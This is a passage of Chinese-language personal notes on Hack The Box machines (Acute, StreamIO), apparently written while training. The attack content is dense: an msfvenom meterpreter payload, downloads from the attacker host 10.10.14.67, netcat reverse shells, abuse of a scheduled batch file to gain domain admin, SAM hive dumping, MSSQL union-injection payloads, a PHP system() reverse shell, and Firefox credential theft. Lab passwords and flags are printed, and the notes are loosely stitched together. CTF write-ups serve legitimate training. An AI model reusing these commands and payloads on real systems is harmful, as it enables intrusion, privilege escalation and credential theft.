msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.14.67 -f exe -o rev.exe 生成一个木马
wget http://10.10.14.67/shell.exe -o shell.exe wget用不了
Invoke-WebRequest -Uri http://10.10.14.67:/shell.exe -UseBasicParsing -OutFile “shell.exe” wget的替代上传或者wget -UseBasicParsing <Your_URL>
cmd.exe /c .\rev.exe (或者直接./rev.exe)
meterpreter监听会话 获得权限
取得imonks权限
kali ./chisel server --reverse -p 8000
靶机 .\chisel.exe client 10.10.14.67:8000 R:127.0.0.1:socks
确保socks 5 127.0.0.1 1080
添加/etc/proxychains.conf
(在文件最下面添加
socks 5 127.0.0.1 1080)
proxychains nmap -sT -P 88 172.16.22.1
这表明它是域控
wget 10.10.14.67/winPEAS
winpeas执行结果,它显示有一个 RDP 会话处于活动状态
query user
这也可以通过列出活动登录会话找到 或者
qwinsta /server:127.0.0.1也可以看到该:qwinsta
命令在Windows操作系统中用于查询远程服务器上的远程桌面会话(终端会话)信息。在你的命令下:
Invoke-WebRequest -Uri http://10.10.14.67/winPEAS.exe -UseBasicParsing -OutFile winPEAS.exe
./winPEAS.exe
Meterpreter有一个screenshare
功能,可以定期截取活动桌面的屏幕截图,并允许攻击者像直播一样观看。
运行它时,它会在 Firefox 中弹出一个 HTML 页面,显示桌面:
几分钟后,PowerShell 终端将以 edavies 形式打开。该用户创建一个 PowerShell 凭证对象,并使用它以 imonks 用户身份连接到 atsserver 计算机:但是上面是显示没有成功
这里有几个重要的地方:
-
用户是acute\imonks,密码为“w3_4R3_th3_f0rce.”。
-
edavies 正在尝试向 ATSSERVER 进行身份验证。
-
edavies 正在尝试使用
dc_manage
上面提到的配置。
$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
-
$pass
: 这是一个变量,用于存储最终的 SecureString。 -
ConvertTo-SecureString
: 这是一个 PowerShell cmdlet,用于将普通文本转换为安全字符串。 -
"W3_4R3_th3_f0rce."
: 这是你要转换的普通文本,通常是密码。在这个例子中,密码是"W3_4R3_th3_f0rce."。 -
-AsPlainText
: 这是ConvertTo-SecureString
的参数,指示输入字符串是普通文本而不是已加密的文本。通常,你在输入密码时会使用这个参数。 -
-Force
: 这是ConvertTo-SecureString
的参数,用于确认转换操作,即强制执行转换。
这行 PowerShell 脚本是用来创建一个 PSCredential 对象的,该对象包含了用户名和密码的组合,通常用于进行身份验证。让我们一步一步解释这行脚本:
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
-
$cred
: 这是一个变量,用于存储最终的 PSCredential 对象。 -
New-Object System.Management.Automation.PSCredential
: 这是一个 PowerShell cmdlet,用于创建 PSCredential 对象。 -
"ACUTE\imonks"
: 这是用户名,通常以域名(在这里是"ACUTE")和用户名(在这里是"imonks")的形式提供。 -
$pass
: 这是之前创建的 SecureString 对象,包含了用户的密码。
所以,这行脚本的目的是创建一个 PSCredential 对象,其中包含了用户名 "ACUTE\imonks" 和对应的密码。这样的对象通常在需要进行身份验证的情况下使用,比如在进行远程 PowerShell 会话时,你可以使用这个对象来提供凭据信息
这行 PowerShell 脚本使用 Enter-PSSession
cmdlet 建立一个与远程计算机的 PowerShell 会话,并通过 -Credential
参数提供凭据信息进行身份验证。让我们一步一步解释这行脚本:
Enter-PSSession -ComputerName ATSSERVER -Credential $cred
-
Enter-PSSession
: 这是一个 PowerShell cmdlet,用于进入一个远程 PowerShell 会话。 -
-ComputerName ATSSERVER
: 这是-ComputerName
参数,指定要连接的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。 -
-Credential $cred
: 这是-Credential
参数,用于提供凭据信息。在这里,通过之前创建的$cred
变量提供了用户名和密码的组合,这个变量包含了PSCredential
对象。
通过这行脚本,你会被提示输入与 "ACUTE\imonks" 用户相关联的密码。然后,如果身份验证成功,你将进入到 "ATSSERVER" 远程计算机的 PowerShell 会话中,可以在其中执行命令和脚本,就像你直接在 "ATSSERVER" 上执行一样。当你完成操作后,可以使用 Exit-PSSession
退出远程会话。这对于远程管理和执行命令非常有用。
这条 PowerShell 命令 Enter-PSSession
的 -ConfigurationName
参数指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。让我们一步一步解释这个命令:
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
-
Enter-PSSession
: 这是 PowerShell 中用于进入远程 PowerShell 会话的 cmdlet。 -
-ComputerName ATSSERVER
: 这是-ComputerName
参数,指定要连接到的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。 -
-Credential $cred
: 这是-Credential
参数,用于提供凭据信息。通过之前创建的$cred
变量提供了用户名和密码的组合,这个变量包含了PSCredential
对象。 -
-ConfigurationName dc_manage
: 这是-ConfigurationName
参数,指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。在这里,"dc_manage" 是一个 PowerShell 终结点的名称。
通过使用 -ConfigurationName
参数,你可以连接到远程计算机上的指定 PowerShell 终结点,这样你可以在该终结点上执行特定配置的命令。通常,这种配置用于限制在远程计算机上执行的操作,提高安全性。在这个例子中,"dc_manage" 可能是一个特定的 PowerShell 终结点,为域控制器(Domain Controller)的管理提供了一组特殊的权限和功能。
上面的命令输入后会报错
它失败是因为 imonks 无权访问 cmdlet Measure-Object
。这可能是配置问题,也可能是Kerberos 双跳dc_manage
问题(或两者兼而有之)
Measure-Object not found error with Enter-PSSession cmdlet - Windows Server | Microsoft Learn 解决办法
上面是无法直接验证但是利用Invoke-Command -ScriptBlock可以执行一些命令
在你的 PowerShell 命令中,你使用了 Invoke-Command
cmdlet 在远程计算机上执行脚本块。让我们逐步解释这个命令:
Invoke-Command -ScriptBlock { whoami } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
-
Invoke-Command
: 这是 PowerShell 中用于在远程计算机上执行命令的 cmdlet。 -
-ScriptBlock { whoami }
: 这是-ScriptBlock
参数,它指定要在远程计算机上执行的脚本块。在这里,脚本块包含whoami
命令,用于显示当前登录用户的信息。 -
-ComputerName ATSSERVER
: 这是-ComputerName
参数,指定要执行命令的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。 -
-ConfigurationName dc_manage
: 这是-ConfigurationName
参数,它指定了要使用的远程 PowerShell 终结点的配置名称。在你的情况下,是 "dc_manage"。 -
-Credential $cred
: 这是-Credential
参数,用于提供凭据信息。通过之前创建的$cred
变量提供了用户名和密码的组合,这个变量包含了PSCredential
对象。
这个命令的目的是在远程计算机 "ATSSERVER" 的 PowerShell 终结点 "dc_manage" 上执行 whoami
命令,以查看当前登录用户的信息。
读取user.txt
Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
9dbd69bf5b42b42074ee44eec3d14d92
取得jmorgan权限
为了进一步列举,首先我需要了解在此配置中我可以访问哪些命令。Get-Command
会告诉我:
Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
我还将查看Get-Alias
设置的内容:
Invoke-Command -ScriptBlock { Get-Alias } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
具体而言,Get-Alias
命令会返回当前 PowerShell 会话中定义的所有别名的列表。别名与其对应的命令、函数或脚本块一一对应。通过查看别名,你可以了解哪些缩写或简短名称可以用于执行特定的命令或功能。就是powershell中命令的别名,如ls别名什么
始终值得查看 C:\program files
(和C:\program files (x86)
) 中安装的程序:
Invoke-Command -ScriptBlock { ls '\program files' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Hyper-V
很可能是虚拟化技术让 Windows 主机像这样嵌套。keepmeon
这不是我熟悉的东西。不幸的是,imonks 无法访问它:
除了 之外user.txt
,imonk 的桌面上还有另一个文件:wm.ps1
Invoke-Command -ScriptBlock { ls ..\desktop } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat C:\Users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
它具有 Acute-PC01 上 jmorgan 的凭据: 还告诉我们这段脚本执行了Get-Volume命令
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51' $passwd = $securepasswd | ConvertTo-SecureString $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd) Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
我无法前往 DC 获取有关 jmorgan 的信息:
net user jmorgan /domain
( net user jmorgan /domain
The request will be processed at a domain controller for domain acute.local.
System error 1722 has occurred.
The RPC server is unavailable.)
但是,域用户似乎位于 Acute-PC01 的本地管理员组中:
net localgroup Administrators
这就解释了为什么他们可能能够run Get-Volume
而 edavies 却不能(在wm.ps1里面 jmorgan执行了)
前面的两次尝试都是输入上面的那个脚本里面的命令,第二个是将上面的命令放到ScriptBlock里面执行试试
失败#1
我最初的想法是使用它$securepasswd
来获取PSCredential
Acute-PC01 上 jmorgan 的对象:
PS C:\Utils> $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
PS C:\Utils> $passwd = $securepasswd | ConvertTo-SecureString
这是因为这些安全密码字符串是使用仅在加密计算机上可用的信息(作为加密用户进行加密)进行加密的。
失败#2
我将把我需要的所有命令放入 中ScriptBlock
,并获取明文密码。不幸的是,它不起作用:
Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c 0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
该脚本使用actue\jmorgan
的安全密码在容器上运行Get-Volume
成功
Invoke-WebRequest -Uri http://10.10.14.67/nc64.exe -OutFile nc64.exe 下载
现在该脚本为我创建了一个反向 shell:
当然,让我们分解一下您提供的 PowerShell 命令:Set-Content替代sc ,Get-Content替代cat
Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.67 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock {((Get-Content -Path ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443') | Set-Content -Path ..\desktop\wm.ps1} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
此 PowerShell 命令执行以下操作:
-
Invoke-Command
:ATSSERVER
使用 PowerShell 远程处理在远程计算机 ( ) 上启动脚本块的执行。 -
-ScriptBlock {...}
:指定将在远程计算机上执行的脚本块。在脚本块内:-
((Get-Content -Path ..\desktop\wm.ps1 -Raw)
:wm.ps1
从桌面读取脚本文件的内容,并使用-Raw
参数将内容读取为单个字符串(而不是行数组)。 -
-replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443'
:使用-replace
运算符将 内容中出现的所有字符串“Get-Volume”替换wm.ps1
为命令C:\utils\nc64.exe -e cmd 10.10.14.6 443
。 -
| Set-Content -Path ..\desktop\wm.ps1
:将修改的内容写回到wm.ps1
桌面上的文件中。
-
-
-ComputerName ATSSERVER
:ATSSERVER
指定将执行脚本块的远程计算机 ( ) 的名称。 -
-ConfigurationName dc_manage
:dc_manage
指定要在远程计算机上使用的PowerShell 远程处理端点配置名称 ( )。 -
-Credential $cred
:提供远程会话所需的凭据。该变量$cred
可能包含一个PSCredential
具有必要的用户名和密码的对象。
执行(.ps1
是 PowerShell 脚本文件的文件扩展名)
Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
kali监听443
获得acute\jmorgan权限
获取管理员awallace的hash
作为 Acute-PC01 上的本地管理员,jmorgan 可以创建注册表配置单元的备份:
reg save HKLM\sam sam.bak 您提供的命令reg save HKLM\sam sam.bak
是 Windows 命令提示符 (CMD) 中的一个命令,用于创建 SAM(安全帐户管理器)注册表配置单元的备份。该命令通常用于备份目的,需要注意的是,修改或备份注册表需要管理权限。
以下是该命令的详细说明:
-
reg save
:这是保存注册表配置单元的命令。 -
HKLM\sam
:指定要保存的注册表配置单元。在本例中,它是 SAM 配置单元,其中包含有关用户帐户和系统安全性的信息。 -
sam.bak
:这是为将创建的备份文件指定的名称。在此示例中,备份文件名为“sam.bak”。
reg save HKLM\system sys.bak
由于我的盒子上有一个 Meterpreter 会话,我将使用它来下载文件:
download sam.bak
download sys.bak
获取hash
secretsdump.py -sam sam.bak -system sys.bak LOCAL
第二种方法
这个上面的反弹shell到反弹到meterpreter上
获取后jmorgan
我们可以检查该用户的权限,getprivs
或者如果我们想使用 cmd 我们可以使用whoami /all
通过此权限,我们可以通过运行成为容器上的 SYSTEM 用户getsystem
,然后可以在容器上转储 NTLM 哈希值 hashdump
hashcat或者网站解密
这边需要尝试3个用户,前面发现的Administrator
、lhopkins
和awallace
。我确实发现我可以作为 awallace 在 ATSSERVER 上运行命令:
$pass
您提供的命令使用 PowerShell从纯文本密码“Password@123”创建安全字符串 ( )。安全字符串是一种在 PowerShell 脚本中以更安全的方式处理密码等敏感信息的方法。
以下是该命令的详细说明:
$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
-
ConvertTo-SecureString
:此 cmdlet 用于将纯文本转换为安全字符串。 -
"Password@123"
:这是您要转换为安全字符串的纯文本密码。 -
-AsPlainText
:该参数指定输入为纯文本。 -
-Force
:即使输入字符串包含可能被解释为安全字符串格式字符的特殊字符,此参数也会强制进行转换。
在您提供的 PowerShell 命令中,您将创建一个使用cmdletPSCredential
命名的新对象。此凭据通常用于身份验证目的,由用户名和安全字符串密码组成。$cred``New-Object
以下是该命令的详细说明:
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
-
New-Object System.Management.Automation.PSCredential
:此 cmdlet 用于创建该类的新实例PSCredential
。 -
"ACUTE\awallace"
:这是凭证的用户名或域\用户名。 -
$pass
:这是之前使用 创建的安全字符串密码ConvertTo-SecureString
。
运行此命令后,该变量$cred
将保存一个PSCredential
具有指定用户名和关联的安全字符串密码的对象。当使用需要凭据的 PowerShell cmdlet(例如用于远程服务器连接的凭据)时,通常会使用此对象。
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }
(acute\awallace)
利用Lois权限脚本添加awallace到管理员
使用不同的凭据,我会再试C:\program files\keepmeon
一次,awallace 可以访问它:
Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
读取一下
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do
( if not "%%x" == "%~0" call "%%x" )
PS C:\
看起来您有一个批处理脚本,它会迭代.bat当前目录及其子目录中的所有文件(不包括自身 ( %~0)),然后使用call命令执行每个文件。该注释表明它每 5 分钟运行一次,并且仅供 Lois 使用。
-
REM This is run every 5 minutes. For Lois use ONLY
:这一行是注释,不影响脚本的执行。这只是给阅读剧本的人的一个注释。 -
@echo off
:此命令关闭控制台命令的回显。它通过在执行之前不显示每个命令来使脚本更清晰。 -
for /R %%x in (\*.bat) do (...):
这是一个循环,遍历.bat
当前目录及其子目录中的所有文件。 -
if not "%%x" == "%~0" call "%%x":
此行检查当前.bat
正在处理的文件是否与脚本本身不同 (%~0
)。如果不是脚本本身,它会调用 (execute
) 该.bat
文件。
回到那个 word 文档,它提到 Lois 是组成员的唯一用户,也只有他才能成为site admin
运行net group /domain
我们可以看到一个名为Site_Admin
Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
纯文本复制代码*Cloneable Domain Controllers *DnsUpdateProxy *Domain Admins *Domain Computers *Domain Controllers *Domain Guests *Domain Users *Enterprise Admins *Enterprise Key Admins *Enterprise Read-only Domain Controllers *Group Policy Creator Owners *Key Admins *Managers *Protected Users *Read-only Domain Controllers *Schema Admins *Site_Admin
每行代表域中组帐户的名称,名称前面带有星号 ( *
)。星号可用于格式化或强调。
以下是一些常见的 Windows 默认组及其潜在角色:
-
Cloneable Domain Controllers
:用于使用现有域控制器的副本创建新域控制器。 -
DnsUpdateProxy
:用于DNS动态更新。 -
Domain Admins
:该组的成员具有域中所有计算机的管理访问权限。 -
Domain Computers
:包含域中所有计算机帐户的默认组。 -
Domain Controllers
:包含域中所有域控制器的默认组。 -
Domain Guests
:包含域中所有来宾用户帐户的默认组。 -
Domain Users
:包含域中所有用户帐户的默认组。 -
Enterprise Admins
:该组的成员具有林中所有域的管理访问权限。 -
Enterprise Key Admins
:会员可以管理企业内的密钥分配中心(KDC)。 -
Enterprise Read-only Domain Controllers
:企业中包含只读域控制器 (RODC) 的组。 -
Group Policy Creator Owners
:成员可以修改组策略对象。 -
Key Admins
:会员可以管理密钥分配中心(KDC)。 -
Managers
:自定义组,可能是为了组织目的而创建的。 -
Protected Users
:需要增强防止凭据被盗的帐户的安全组。 -
Read-only Domain Controllers
:包含域中所有只读域控制器的默认组。 -
Schema Admins
:该组的成员可以修改 Active Directory 架构。 -
Site_Admin
:自定义组,可能是为了组织目的而创建的。
检查该组的描述,它说它有权访问域管理组
因此使用Set-Content
我们可以添加命令net group Site_Admin "awallace" /add /domain
将该用户添加到Site_Admin组
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { Set-Content "C:\Program Files\keepmeon\uwu.bat" -Value 'net group Site_Admin "awallace" /add /domain' } -Credential $credential
过一会就将awallace添加进入 域管理员组
Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
也可以net user awallace
这实际上足以阅读root.txt
:
PS C:\Utils> Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred 5a14532a55ecc6c7cf9faa6f3f6317b5
从这里,应该可以获得一个shell。作为 的成员Site_Admin
,awallace 现在无需配置即可连接dc_manage
,打开各种命令和权限:
Invoke-Command -ScriptBlock { whoami /priv } -ComputerName ATSSERVER -Credential $cred
这些权限确实会定期重置,因此我将尝试添加另一个用户:
Invoke-Command -ScriptBlock { net user 0xdf abcdABCD1234!@#$ /add /domain /Y } -ComputerName ATSSERVER -Credential $cred
(我花了很多次尝试才获得足够的密码复杂性并添加/Y
覆盖提示。)
-
net user
:这是用于在 Windows 中管理用户帐户的命令。 -
0xdf
:这是您要添加的用户名。在本例中,它是“0xdf”。 -
abcdABCD1234!@#$
:这是新用户的密码。请注意,这只是一个示例,您应该使用强大、安全的密码。本例中的密码是“abcdABCD1234!@#$”。 -
/add
:此选项指定您要添加新用户。 -
/domain
:该选项指定应在域控制器上执行操作。添加域用户时使用。 -
/Y
:此选项不是 的标准选项net user
。它通常用于对任何提示自动回答“是”。但是,/Y
这不是该命令的有效选项net user
。如果您想禁止确认提示,您可能需要探索其他选项或使用不同的方法。并将其添加到
Domain Admins
:Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf /add /domain } -ComputerName ATSSERVER -Credential $cred
但这些用户也会定期被刷新。
回到 awallace,我将上传
nc64.exe
并调用它:Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { wget 10.10.14.6/nc64.exe -outfile \programdata\nc64.exe }
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { \programdata\nc64.exe -e cmd 10.10.14.6 444}
kali rlwrap -cAr nc -lnvp 444
Timelapse (LAPS,PFX ,evil-winrm,X.509的不同编码格式和常⽤⽂件扩展名。mssql注入)
看ppt
StreamIO
RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where
xtype='U';-- -
a' select 1,name,id,4,5,6 from streamio..sysobjects where xtype='U';-- -
Walk-through of SQHell from TryHackMe - pencer.io sql注入的中高级用法,打完回来学习
mssql注入
⽐如⽤关键词 time';-- - 来试探:
这就是SQL注⼊。如果不是,它将返回0个结果,因为没有电影在标题中有‘';-- -’这样的字符。
事实上输⼊ d' and 1=1 -- 也是有返回值的,也证明是有SQL注⼊的
RedteamNotes' union select 1,2,3,4,5,6;-- - ,获得了反馈。 2 3
RedteamNotes' union select 1,@@version,3,4,5,6;-- -
RedteamNotes' union select 1,name,3,4,5,6 from master..sysdatabases;-- -
从 master 数据库中的 sysdatabases 表中检索数据。在mysql中和sysdatabases对应的表叫
INFORMATION_SCHEMA。
不难推测,当前数据库是STREAMIO。同时streamio_backup也值得关注,备份数据中如有更多凭据,⽤来撞库⼀般很好⽤。但是从运维⻆度⼀般没⼈配置对备份数据库的访问,配置机制上不会,运维⼈员的意愿上更不会。
RedteamNotes' union select 1,(select DB_NAME()),3,4,5,6 from
master..sysdatabases;-- - 获得 srteamio
RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where
xtype='U';-- - 有个users表
在 SQL Server 中, sysobjects 是⼀个系统表,它包含了有关数据库中的对象(例如表、视图、存储过程等)的元数据信息。在这个查询中, xtype 是 sysobjects 表中的⼀个列,表示对象的类型。where xtype='U' 是⼀个条件,它限制了结果集中只返回对象类型为 'U' 的⾏。在这⾥, 'U' 表示⽤户表(User Table)。这个条件过滤了只有⽤户表的信息被检索出来,其他类型的对象将被排除。
RedteamNotes' union select 1,name,id,4,5,6 from streamio..syscolumns where id in
(885578193,901578250);-- - 有username和 password
RedteamNotes' union select 1,concat(username,';',password),3,4,5,6 from users;-- -
获得账号密码
curl -X POST 'https://watch.streamio.htb/search.php' -d “q=RedteamNotes' union select 1,concat(username,':',password),3,4,5,6 from users -- ” -k -s | grep h5 | sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"
Victor ;bf55e15b119860a6e6b5a164377da719
| sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'
-
sed -e 's/<h5 class="p-2">//g'
:-
-e
表示后面跟随的是一个sed脚本。 -
s/<h5 class="p-2">//g
表示要进行替换的操作。具体来说:
-
s/
表示进行替换。 -
<h5 class="p-2">
是要被替换的字符串,这是一个HTML<h5>
标签,带有class="p-2"
属性。 -
//
是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。 -
g
表示全局替换,即一行中的所有匹配都会被替换。
-
所以,这部分的作用是删除文本中所有匹配
<h5 class="p-2">
的字符串。 -
-
-e 's/<\/h5>//g'
:-
同样,这部分也是一个sed脚本,用于删除HTML标签
</h5>
。 -
s/<\/h5>//g
的解释如下:
-
s/
表示进行替换。 -
<\/h5>
是要被替换的字符串,这是HTML中闭合的<h5>
标签。 -
//
是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。 -
g
表示全局替换,即一行中的所有匹配都会被替换。
-
所以,这部分的作用是删除文本中所有匹配
</h5>
的字符串。 -
综合起来,这个sed
命令的作用是删除文本中所有 <h5 class="p-2">
和 </h5>
这两个HTML标签,保留标签之间的内容。这种文本处理通常用于从HTML文档中提取或清理文本内容。
| tr -d " \t"
-
tr
是一个字符替换命令,用于转换或删除输入中的字符。 -
-d
选项表示删除指定的字符。 -
" \t"
是要删除的字符集,其中包括空格和制表符。
因此,tr -d " \t"
的作用是将输入中的空格和制表符删除。
Freed0m/笔记/安全/Web渗透/PHP文章/PHP文件包含/php文件包含漏洞利用小结.md at master · xidaner/Freed0m · GitHub
调试语境下,为了读取到源码⽽不是执⾏源码,通过语句:
https://streamio.htb/admin/?debug=php://filter/convert.base64-
encode/resource=master.php
利用
php://filter
查看源代码:
php://filter`是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出`base64编码`后的内容,要获取真实内容的话,`需要进行base64解码
这对于查看⽂件的内容⽽不需要直接下载⽂件很有⽤。
system("powershell -c wget 10.10.16.16/nc64.exe -outfile
\programdata\nc64.exe");
system("\programdata\nc64.exe -e powershell 10.10.16.16 443");
programdata是基本所有用户都可以共享到的文件
-c
: 表示后面跟随的是 PowerShell 脚本或命令
-
-e powershell
:该选项指定建立连接后应执行PowerShell命令。 -
10.10.16.16
:这是 Netcat 工具将尝试连接的目标计算机的 IP 地址。 -
443
:这是 Netcat 工具将在目标计算机上尝试连接的端口号。
rlwrap -cAr nc -lnvp 443 增强交互性
sqlcmd.exe
web应⽤要看数据库对吧?切换到watch站点。因为在其中我们看到了数据库。
dir -recurse *.php | select-string -pattern "database"
-
dir -recurse \*.php
:这部分命令是使用dir
命令(PowerShell中的别名Get-ChildItem
)递归列出.php
当前目录及其子目录中所有带有扩展名的文件。 -
|
:这是管道运算符,它获取左侧命令的输出并将其用作右侧命令的输入。 -
select-string -pattern "database"
:这部分命令用于Select-String
搜索 PHP 文件内容中与指定模式(即字符串“database”)匹配的行。
因此,总而言之,该命令在当前目录及其子目录中搜索 PHP 文件,然后在这些 PHP 文件中查找包含字符串“database”的行。
两组: db_user:B1@hB1@hB1@h 和 db_admin:B1@hx31234567890 ,现在db_admin是⾼价值资产,为
web的watch⻚⾯sql注⼊是应该就是⽤的低权限的db_user⽤户,user不能读取备份数据库,但是admin应该可以。试⼀下。
可以通过chisel等隧道化的⼯具访问数据库,但本机安装了sqlcmd,直接⽤就好了。
where.exe sqlcmd
⽤gcm也可以,即Get-Command,给其fl参数,即Format-List
gcm sqlcmd.exe | fl
sqlcmd -? 列出⼯具的帮助信息:
根据如上的帮助写查询命令,我们只对backup数据库有访问权
sqlcmd -S localhost -U db_admin -P
B1@hx31234567890 -d streamio_backup -Q "select name from sys.tables;"
v拓展知识:select语句写成 select table_name from
streamio_backup.information_schema.tables; 也是可以的。 information_schema 是标准的SQL
架构,并且多数关系型数据库系统(包括MySQL和SQL Server)都实现了它,但在SQL Server中查询
表的常⻅⽅式是使⽤ sys 架构。
读取users表的信息:
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select
* from users;“
cat user_creds_raw
1 nikk37
389d14cb8e4e9b94b137deb1caf0612a
cat user_creds_raw | awk -F' ' '{print $2":"$3}' | tee user_creds
nikk37:389d14cb8e4e9b94b137deb1caf0612a
hashcat破解
横向移动
evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i streamio.htb
获取\nikk37和users flag
在 Program Files (x86) 发现安装的firefox。之前的⽤户没有家⽬录,但本⽤户有,会存储⼀些敏感信息吗
goole 搜搜the profiles file location of firefox in windows system
filefox password crack
通过第⼏篇⽂章,我们能够找到敏感⽂件的路径和敏感⽂件的名称,并且有两个⼯具可⽤。
窃取Firefox密码。简介 |由 S12 - H4CK |系统弱点 (systemweakness.com)
How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium
How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium工具
Windows:C:/Users/<PC 名称>/AppData/Roaming/Mozilla/Firefox/ProfilesMac:~/Library/Application Support/Firefox/ProfilesLinux:~/.mozilla/firefox/Profiles
以下是相应操作系统的 NSS 库名称。
Windows:nss3.dllMac:libnss3.dylibLinux:libnss3.so
具体是这样的,如下⽤户资料的⽂件路径重要有 key4.db和logins.json两个⽂件,我们可以⻢上验证并试图拿到。
Windows: C:/Users/<PC Name>/AppData/Roaming/Mozilla/Firefox/Profiles
如下路径中有nss3.dll⽂件。
Windows: C:\Program Files\Mozillia Firefox
拓展资料:
\1. key4.db: 是 Firefox 浏览器中的⼀个数据库,⽤于存储加密的敏感数据,如密码、证书和加密密钥。它使⽤ Mozilla 的 Network Security Services (NSS) 库来处理加密和解密操作。key4.db ⽂件包含了⽤于加密和保护登录密码等数据的密钥。这是SQLite的数据库格式,SQLite是⼀种嵌⼊式关系型数据库管理系统(RDBMS),它是⼀个轻量级、⾃包含的、⾼性能的数据库引擎。与传统的客户端-服务器数据库管理系统不同,SQLite 不需要单独的服务器进程,⽽是将整个数据库作为⼀个⽂件存储在主机⽂件系统中。
\2. logins.json: 这个⽂件存储了 Firefox 浏览器中保存的登录凭据,包括⽹站⽤户名和密码等信息。这些登录凭据被加密存储在 logins.json ⽂件中,使⽤ key4.db 中的密钥进⾏加密。
\3. NSS(Network Security Services): NSS 是⼀个由 Mozilla 开发的库,⽤于实现⽹络安全功能,包括 SSL/TLS(加密通信协议)、数字证书管理和安全存储等。在 Firefox 中,NSS 负责处理加密、解密、数字签名等安全操作,同时也⽤于管理存储加密敏感数据的密钥。这些⽂件在 Firefox 中的作⽤是确保⽤户的登录凭据和其他敏感数据得到安全保护。key4.db ⽤于存储加密所需的密钥,logins.json 存储加密后的登录凭据,⽽ NSS 则提供了实现这些加密和解密操作的功能库。
cd
